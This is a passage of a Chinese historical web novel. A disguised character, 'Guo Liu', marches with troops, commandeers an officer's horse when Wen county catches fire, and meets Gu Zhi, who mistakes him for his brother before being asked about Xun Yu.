就连边上其他几个觉得青年极其眼生的士兵,在听到这随意而自然的提醒后,也纷纷提起精神,加快赶路的步伐。
没人再去思考“这人好似没见过”“刚才好像没看到这人,是打哪冒出来”——诸如此类,一闪而过的疑问。
“郭六”跟着大部队,一边跑,一边摩挲着肩上的行囊。
听说老朋友在温县,就顺个远路,去瞅上一眼吧。
轻松闲适的心情,在快速赶路的半个时辰后荡然无存。
这群人……竟一点儿也不歇息吗?
“郭六”抹在额上的假汗变成了真汗,游刃有余的微笑逐渐变得勉强。
曾接受“郭六”一扶之恩的士兵凑了过来,关切询问:
“郭兄,你还好吧?”
“郭六”憋着一口气,沉重点头。
望着“郭六”双目空白、生无可恋的模样,士兵欲言又止。
忽然,“郭六”一改半死不活的模样,挺直背脊,目光凝肃地看向远方。
士兵见他停下脚步,也跟着他一起停下。
“要实在跑不动了,要不,我带着你……”
“温县起火了。”“郭六”一把抓住士兵的手,眸光锋锐,“带我去见曹将军。”
士兵一脸懵然:“啊?”
当士兵带着“郭六”,懵懵懂懂恍恍惚惚地从队伍的末尾走到队伍的开头,才被告知——“两位将军早在看到火光的时候,就已带着一队轻骑,加速赶向温县”。
排在队伍最前方的裨将神色凝肃地吩咐众人:
“温县有变,为了驰援将军,后方的步兵即刻开始疾跑——等一等,那个小兵,你在做什么!”
只见“郭六”一个翻身,跨上了军中的骏马。
不等裨将阻拦,他轻甩缰绳,连人带马地冲了出去。
“抱歉——事急从权,借马一用。”
裨将一脸懵逼地看着远去的“郭六”与大马。
望着滚滚飞扬的尘土,他终于回过神,跺脚大骂。
“臭小子!那是本将的马——”
“郭六”骑着马狂奔,还未进入温县,就看见一支百人军队潮水般从城内涌出。
顾至一骑当先,一眼就看到了路中间迎面“驶来”的不速之客。
他稍稍放缓马速,见“郭六”毫不犹豫地勒马,不由多打量了对方两眼。
容貌端正,体长瘦弱,一副病貌。
大致能与顾彦的特质对上。
于是顾至同样勒马,张口就问:“阿兄?”
“郭六”:“……”
顾至重新张口:“顾彦?”
“郭六”歪了歪头:“顾彦是何人?”
顾至扭过头:“认错了,告辞。”
就准备策马离开。
“等等。”
“郭六”出声喊住了他,
“你可识得颍川荀彧——荀文若?”